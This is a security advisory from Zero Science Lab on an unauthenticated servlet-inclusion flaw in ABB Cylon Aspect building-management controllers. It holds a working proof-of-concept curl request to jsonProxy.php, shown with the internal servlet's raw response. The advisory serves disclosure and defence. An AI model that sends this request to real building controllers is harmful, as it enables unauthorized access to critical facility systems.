ABB Cylon Aspect 3.08.01 (jsonProxy.php) Servlet Inclusion Authentication Bypass
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB BMS/BAS controller is vulnerable to remote, arbitrary servlet
inclusion. The jsonProxy.php endpoint allows unauthenticated remote attackers
to access internal services by proxying requests to localhost. This results
in an authentication bypass, enabling attackers to interact with multiple java
servlets without authorization, potentially exposing sensitive system functions
and information.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5854
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5854.php
21.04.2024
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$ cat project
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$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=WatchDogServlet
Servlet Information for [com.aamatrix.servlets.WatchDogServlet]Servlet Information [com.aamatrix.servlets.WatchDogServlet]
Version: HTTP/1.0
Requested File: /servlets/WatchDogServlet
Response:
[MESSAGE-BEGIN]
[HEADER-BEGIN]
?[000:02]magicTag=[0xB7][0xAF]
&[002:02]size=16
&[004:01]version=[0x03]
&[005:01]command=[0x81][GENERAL_ACK_RESPONSE]
&[006:02]NetworkId=99
&[008:02]unitId=1
&[010:02]quality=0
&[012:04]transactionId=77331
[HEADER-END]
[MESSAGE-BODY-BEGIN]
[READ-ATTRIBUTE-REQUEST]
[PUP-ACK-RESPONSE]
[MESSAGE-BODY-END]
[MESSAGE-END]